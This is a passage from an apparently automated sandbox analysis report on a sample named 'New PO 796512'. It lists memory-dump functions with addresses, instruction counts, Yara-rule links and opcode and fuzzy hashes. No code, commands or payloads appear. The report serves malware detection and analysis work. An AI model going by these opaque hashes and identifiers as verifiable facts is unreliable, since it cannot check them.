                                                                                            • Instruction Fuzzy Hash: E91179B26193089FC700DF6DD44195BBBE8EF98314F00851EBA98D7390E630E901CB92
                                                                                            Function 013DCA11 Relevance: .0, Instructions: 48COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 3c37ae409ccbec1b7338d75770e29dff63a4f20aff53d0727e27c50180785b12
                                                                                            • Instruction ID: 92dc5f394a279c4ed7b1e3985ea6ebb732a2047f507a15fa5ea931673a8e7f53
                                                                                            • Opcode Fuzzy Hash: 3c37ae409ccbec1b7338d75770e29dff63a4f20aff53d0727e27c50180785b12
                                                                                            • Instruction Fuzzy Hash: 741157B26183089FC700DF6DD44194ABBE8EF99354F00851EB958D73A0E630E901CB92
                                                                                            Function 0136E016 Relevance: .0, Instructions: 46COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
                                                                                            • Instruction ID: 96e325657541468f570f9028a29a832fecc0dcc421bc6b8b956d1671a98adabd
                                                                                            • Opcode Fuzzy Hash: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
                                                                                            • Instruction Fuzzy Hash: BD017C32204584DFE326C61EC948F267BECEB5575CF0944B1F905DBAD1D628DC40C661
                                                                                            Function 0134826B Relevance: .0, Instructions: 46COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 84932ff7d723beb828853507a063fc31c1c4f5084c342f86961e34e7c5973b3c
                                                                                            • Instruction ID: 6895f7164ed5987a1c3adb8eacc6213ad53cd954d08cdff23d9613735de03d03
                                                                                            • Opcode Fuzzy Hash: 84932ff7d723beb828853507a063fc31c1c4f5084c342f86961e34e7c5973b3c
                                                                                            • Instruction Fuzzy Hash: 1F01A276700519DFD714EFAEE8009AEBBF9FF80618B1540A9D901A7654EE30ED06C790
                                                                                            Function 013FEB50 Relevance: .0, Instructions: 46COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: 572e13204aca1c1d6b42aeb26c3b8f997f3a6a27f06f1a516cbd14c33d3334e8
                                                                                            • Instruction ID: 0561e5e12fd6001fe94618181f333e0fc224b4375d768c3d2aa0d53f2e630c18
                                                                                            • Opcode Fuzzy Hash: 572e13204aca1c1d6b42aeb26c3b8f997f3a6a27f06f1a516cbd14c33d3334e8
                                                                                            • Instruction Fuzzy Hash: 2D01DFB1284615AFE331AF19D800B02BBA8AF55F54F12842EB3469B3A0C6B098418BA4
                                                                                            Function 01352582 Relevance: .0, Instructions: 45COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 080ae258e84f8d9a49a633e9b282c5c6cc33e700c1ebd507a52f4e0bba0e0160
                                                                                            • Instruction ID: c1ea592ace6544ccc21a864d03eb8c1b2ba8ce8eee8b9c0688c6bae475470310
                                                                                            • Opcode Fuzzy Hash: 080ae258e84f8d9a49a633e9b282c5c6cc33e700c1ebd507a52f4e0bba0e0160
                                                                                            • Instruction Fuzzy Hash: 7EF0F432641A10F7C7329B5ACC40F57BAADEB84FA8F118429BA0997640CA30ED01CAE0
                                                                                            Function 0137C073 Relevance: .0, Instructions: 43COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 65a6da88ffe4e3ef4f4bf4dda68b508183db8c002971e90ba11f3763248cd9ea
                                                                                            • Instruction ID: fe3933f8e4254aa831b3cd70b3a927363749df4a29675d849b5a01391221a4c2
                                                                                            • Opcode Fuzzy Hash: 65a6da88ffe4e3ef4f4bf4dda68b508183db8c002971e90ba11f3763248cd9ea
                                                                                            • Instruction Fuzzy Hash: DBF0C2B2600A11ABD335CF4DDC40EA7FBEEDBD1A84F048128A519CB320EA31DD04CB90
                                                                                            Function 0134C310 Relevance: .0, Instructions: 43COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 256e141dc6b9705f9909cc47be5080ee0eb4db29c7708f1459163a76593eb05a
                                                                                            • Instruction ID: 9f6f24588f97259003c56aa60f529fd5340b36151ffd9b7733dabfe0c06b2075
                                                                                            • Opcode Fuzzy Hash: 256e141dc6b9705f9909cc47be5080ee0eb4db29c7708f1459163a76593eb05a
                                                                                            • Instruction Fuzzy Hash: 92F0F633247A239BD7735A9D4840B6BAAD98FD1A6CF1A1035F2099B605CA68ED0297D0
                                                                                            Function 0138CA6F Relevance: .0, Instructions: 42COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 6225b3f56bb7e4a8823ac3bf287c1186c08f5b75335344108ff231fc305a603f
                                                                                            • Instruction ID: 5fa876e6e09156c5f69466e9d597c423736bd658076a61101f232f51bfee13f7
                                                                                            • Opcode Fuzzy Hash: 6225b3f56bb7e4a8823ac3bf287c1186c08f5b75335344108ff231fc305a603f
                                                                                            • Instruction Fuzzy Hash: F601F432204689DBE322A71DC805F99FB9DFF51B5CF0880A9FA149BAA1D679CD01C324
                                                                                            Function 014261E5 Relevance: .0, Instructions: 41COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 7beb36a2434da397c817ed88e4a2d5041708cd800502ce5e2587d9817984d61a
                                                                                            • Instruction ID: d95d853d5577de2a8aa34d02b935945b3e63cb7a2af1b3fa2d922d37e06b11f7
                                                                                            • Opcode Fuzzy Hash: 7beb36a2434da397c817ed88e4a2d5041708cd800502ce5e2587d9817984d61a
                                                                                            • Instruction Fuzzy Hash: 67017C71A00259ABCF00DFADD841AAEBBB8AF58314F14405AE901A7390D734EA02CBA5
                                                                                            Function 013D63C0 Relevance: .0, Instructions: 41COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: dbb06fbea8421d8b96890fd2b120b20d820a8046168cc589f8d54c87f08ef009
                                                                                            • Instruction ID: e1ebfe9cedf8d27d20d54e364b66ec08c70ded3a1c562a3da7367c11b49b65f5
                                                                                            • Opcode Fuzzy Hash: dbb06fbea8421d8b96890fd2b120b20d820a8046168cc589f8d54c87f08ef009
                                                                                            • Instruction Fuzzy Hash: 79F01DB320001DBFEF019F99DD81DEF7B7EEB592A8B104125FA11A2160D635DD21ABA0
                                                                                            Function 013DA4B0 Relevance: .0, Instructions: 40COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 5ef2773ec3e12a1a8cc6e15033d889226699d42925a3c0396c45987329bd722c
                                                                                            • Instruction ID: 56ba13a03c518f2b449169ec25c270e50e4f4a67777b916e4ca7a6758b838253
                                                                                            • Opcode Fuzzy Hash: 5ef2773ec3e12a1a8cc6e15033d889226699d42925a3c0396c45987329bd722c
                                                                                            • Instruction Fuzzy Hash: 6E018536100209EBCF129F84E940EDA3F66FB4C668F068101FE186A220C736DA70EB81
                                                                                            Function 0134C0F0 Relevance: .0, Instructions: 39COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: f1b1b03d38fec90233d6b8f24ea7dba7ca4742569eedba16c888368eeeea45ef
                                                                                            • Instruction ID: 89dc4696a0b2c568e9c49b7f0384ff6ffd002a9533f651df3b5a03f27c23df65
                                                                                            • Opcode Fuzzy Hash: f1b1b03d38fec90233d6b8f24ea7dba7ca4742569eedba16c888368eeeea45ef
                                                                                            • Instruction Fuzzy Hash: FFF024712052519BF350A61D9C02F2272DAFBD465CF25902AEB098B6D1E970EC01C394
                                                                                            Function 0138656A Relevance: .0, Instructions: 39COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 9f176b161a4d2bffc64ca62d0840196aad1ac282335948e51b0b602489d1d953
                                                                                            • Instruction ID: d8c0bff1b47b24ae75343b8b6fb83acde636ac16e53017b3fdc7397ee1152761
                                                                                            • Opcode Fuzzy Hash: 9f176b161a4d2bffc64ca62d0840196aad1ac282335948e51b0b602489d1d953
                                                                                            • Instruction Fuzzy Hash: C401A9B0204785DFF723A76CCD59F263798BB50F4CF484154BA418B9D6D728D8028224
                                                                                            Function 013F437C Relevance: .0, Instructions: 37COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: abe8a162c34942eaba6aef332befd3f6f0562530e07f378f59fd36a18add1061
                                                                                            • Instruction ID: 4c73529b273ebd20c5db4fcb11b6273c35bc1c94aaf666e59ba96916fed21a09
                                                                                            • Opcode Fuzzy Hash: abe8a162c34942eaba6aef332befd3f6f0562530e07f378f59fd36a18add1061
                                                                                            • Instruction Fuzzy Hash: 57F0E935341A1347EB36AA2E9410B2BA6D5DF90944B05853E9705CB680EF20D810C780
                                                                                            Function 013DE872 Relevance: .0, Instructions: 36COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 6168c74df7881035f69970a17cdbc8bbd68c52d06f01b9a11dec5043249d3eba
                                                                                            • Instruction ID: a4a4546d99e521cd72e72a0e88cd3b3ba6db3b5d109f2a5749bb33a4bacb7cd6
                                                                                            • Opcode Fuzzy Hash: 6168c74df7881035f69970a17cdbc8bbd68c52d06f01b9a11dec5043249d3eba
                                                                                            • Instruction Fuzzy Hash: BCF05E337116629BE7229A4EEC81F16BFACBFD5E64F190075B6089F664C760EC0187D0
                                                                                            Function 013DC89D Relevance: .0, Instructions: 36COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 61f952992a62ccd11bdb8b77aee41f0c41e9851b1bd3cac7d521fe63a6bcab48
                                                                                            • Instruction ID: 49c828d23846e812c424126450e0258d4ca69d5b051072ef29cdb8226ab74dbc
                                                                                            • Opcode Fuzzy Hash: 61f952992a62ccd11bdb8b77aee41f0c41e9851b1bd3cac7d521fe63a6bcab48
                                                                                            • Instruction Fuzzy Hash: EDF0A4716153449FC710EF6CC542E1ABBE8FF58714F40465EB898DB394E634E901C756
                                                                                            Function 01380854 Relevance: .0, Instructions: 35COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 4cdcb84ab97496671339d5fdb647af6bc44589d2c26ee95e7ea7cdc637936955
                                                                                            • Instruction ID: 56a2cd2dbcc246b895399172406d463f3562cbfd55f113a19ad36dbda266bca4
                                                                                            • Opcode Fuzzy Hash: 4cdcb84ab97496671339d5fdb647af6bc44589d2c26ee95e7ea7cdc637936955
                                                                                            • Instruction Fuzzy Hash: D6F0B472610204AFE718EB25CC05F96BAEDEF98348F248078A545E7274FAB1ED41C655
                                                                                            Function 013DC912 Relevance: .0, Instructions: 34COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 5be1634667e1baa5e8d90662748a2d1cd90256143212ffe7c86c28625a197f0a
                                                                                            • Instruction ID: 6dc96334eea9616960a630a5414d4476e93ff8cf99087b9bdfb2c6442ccc12aa
                                                                                            • Opcode Fuzzy Hash: 5be1634667e1baa5e8d90662748a2d1cd90256143212ffe7c86c28625a197f0a
                                                                                            • Instruction Fuzzy Hash: 89F0C270A1024DEFCB04EFA9D511A5EB7B4FF18304F008059B905EB385DA34EA01CB50
                                                                                            Function 013547FB Relevance: .0, Instructions: 33COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 6d9679d0e6c1ca533b2b9fafaac58f3125dcc611831e675d5ddfc52252910560
                                                                                            • Instruction ID: 297461f1aa58e2b4a9d7b2e9e2d0af3f68eb530f32512715bc6c5a94a705fd91
                                                                                            • Opcode Fuzzy Hash: 6d9679d0e6c1ca533b2b9fafaac58f3125dcc611831e675d5ddfc52252910560
                                                                                            • Instruction Fuzzy Hash: E4F0F0319022E49FE7AA8B1CC804F617FC89B00E3CF08886ACD6D83502F725D8C0C600
                                                                                            Function 01410115 Relevance: .0, Instructions: 32COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 2516a12490c3693df8e4472835e13e36a19a1e8a784adb06a520e5c9f1aa79e3
                                                                                            • Instruction ID: b528759104f076cc19619e8cdc98d8a4bc3c8cd74ae223ac0f3db0cc3153142b
                                                                                            • Opcode Fuzzy Hash: 2516a12490c3693df8e4472835e13e36a19a1e8a784adb06a520e5c9f1aa79e3
                                                                                            • Instruction Fuzzy Hash: 69F0273E4196C017CB336B2D64602D27B54A752010F0A145FD4A15733DC5BD88C3C320
                                                                                            Function 0138C5ED Relevance: .0, Instructions: 31COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 4322326fb93daf86a1ad23b0a1cbd1e56e4f823b55077974e261ca1e78dee282
                                                                                            • Instruction ID: e7af87175570de73000f12d8d4f428b96b9547ccc847c3580399ac449072dbe5
                                                                                            • Opcode Fuzzy Hash: 4322326fb93daf86a1ad23b0a1cbd1e56e4f823b55077974e261ca1e78dee282
                                                                                            • Instruction Fuzzy Hash: BAF0EC715117A59FE722BB2CC148BA1BBE8EB807BCF0CB436D44687912C674F880CA70
                                                                                            Function 01392619 Relevance: .0, Instructions: 31COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 6c7572fa5744a55e43c142e8942155ae64e2404789e34097860efd8d5a2ca0e7
                                                                                            • Instruction ID: 84cbb5935f17a9ccea4f7e7cbcb44a27711523b309acde2517c52a4bde902359
                                                                                            • Opcode Fuzzy Hash: 6c7572fa5744a55e43c142e8942155ae64e2404789e34097860efd8d5a2ca0e7
                                                                                            • Instruction Fuzzy Hash: 12E0D832300A012BEB11AE5D8CC4F47776EDFD2B28F04407DB5045F251C9E2DC19C2A4
                                                                                            Function 013E6030 Relevance: .0, Instructions: 29COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 2f21787fc4cf88bc2024fb188b518997cea13084236808dfde9be923dffdf6d3
                                                                                            • Instruction ID: 11ead02120ae97eb1eee14f5c15848b08f5629e322b4d11aef4ac3e06d49e0e1
                                                                                            • Opcode Fuzzy Hash: 2f21787fc4cf88bc2024fb188b518997cea13084236808dfde9be923dffdf6d3
                                                                                            • Instruction Fuzzy Hash: ECF030B21083289FE3219F09D949F52BBFCEB15368F45C025E6099B5A1D37AEC40CBA4
                                                                                            Function 01350710 Relevance: .0, Instructions: 28COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 09d204908d37cdfbcfc5d4a721560e7c3d6986de64c378e18d154b12347e5c6c
                                                                                            • Instruction ID: afbbd38b5470d9ee17cd97358c9ff2eb7af58461551f2d50f93f802d477c2397
                                                                                            • Opcode Fuzzy Hash: 09d204908d37cdfbcfc5d4a721560e7c3d6986de64c378e18d154b12347e5c6c
                                                                                            • Instruction Fuzzy Hash: B1F0E5392087459FDB1ACF2AD050ED57BA8FB51758F000065FC468B351D732E982CB54
                                                                                            Function 013849D0 Relevance: .0, Instructions: 28COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: f1b670d1cf9650df618e53f56da6216e466ca8c332a8d3f17e7fbf4f9511b07c
                                                                                            • Instruction ID: f4c3103ed15c15c2757898b9364115ff42abbd1bbd63cf70acd57f92f3479849
                                                                                            • Opcode Fuzzy Hash: f1b670d1cf9650df618e53f56da6216e466ca8c332a8d3f17e7fbf4f9511b07c
                                                                                            • Instruction Fuzzy Hash: 54E0923224434AEBE7213B598800B66B6A99BD07A4F154429E2448F950DB78DC40C798
                                                                                            Function 013F678E Relevance: .0, Instructions: 27COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 9c57e87189bc66aa7caf2535f5315d36853ca328742cb6eaba8c93c68780cd6a
                                                                                            • Instruction ID: 96ebcec0942897cbb22c4ec54dc9bcfefd5e769674089818590611284edf93de
                                                                                            • Opcode Fuzzy Hash: 9c57e87189bc66aa7caf2535f5315d36853ca328742cb6eaba8c93c68780cd6a
                                                                                            • Instruction Fuzzy Hash: 5BE0DF72A00210FBDB21A79A8D06F9ABEACDB90EA8F054068B700E7090E530DE04C690
                                                                                            Function 013525E0 Relevance: .0, Instructions: 23COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: 3d430d7b5981f6307a29aaa136732464667ee08196178178820216ff84a6080f
                                                                                            • Instruction ID: 6f4cc60e720d6f2577fbd299ab41719625f331ec54d12d49de9d8253d2c3f29e
                                                                                            • Opcode Fuzzy Hash: 3d430d7b5981f6307a29aaa136732464667ee08196178178820216ff84a6080f
                                                                                            • Instruction Fuzzy Hash: B6E09232100A94ABC722BB2DDD02F8B77AAEB60778F014515B519571A4CA74A850C798
                                                                                            Function 0140A456 Relevance: .0, Instructions: 23COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 1c3962ef014767a9d047a1ce435ecdb8fc5cd5a05dfca32f291fec24eb47eca0
                                                                                            • Instruction ID: be239d85fb4d919b5e17688c6d1e1da10ee74a94eca5b4ca2fffffacdada74bd
                                                                                            • Opcode Fuzzy Hash: 1c3962ef014767a9d047a1ce435ecdb8fc5cd5a05dfca32f291fec24eb47eca0
                                                                                            • Instruction Fuzzy Hash: C2E06D31010B11DBEB326B2ED808B577AE0AF50715F258839A09A025F0C7B49880CA40
                                                                                            Function 013D4000 Relevance: .0, Instructions: 22COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
                                                                                            • Instruction ID: f2e3d37e3c9509ae9d7524dfed05997dcc48f8da00eed8b0ed8ffa6493f8accb
                                                                                            • Opcode Fuzzy Hash: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
                                                                                            • Instruction Fuzzy Hash: 37E0C2353003059FE715CF19D084B62BBB6BFD5A14F28C068A9488F605EB32E842CB40
                                                                                            Function 0138CA38 Relevance: .0, Instructions: 22COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 91d6f8f66975e29f5a97c27076fbf1eeb4788d8f35043f130b666175f84dece5
                                                                                            • Instruction ID: 95b9af0282c95fd24a1681ad52b5011930fb646298515ab2278c962afa33c7a3
                                                                                            • Opcode Fuzzy Hash: 91d6f8f66975e29f5a97c27076fbf1eeb4788d8f35043f130b666175f84dece5
                                                                                            • Instruction Fuzzy Hash: EFD02B324811206ADB35F35CBC04FD37A6DAB44268F019870F108D2021D51CCC81D2E4
                                                                                            Function 0134823B Relevance: .0, Instructions: 21COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
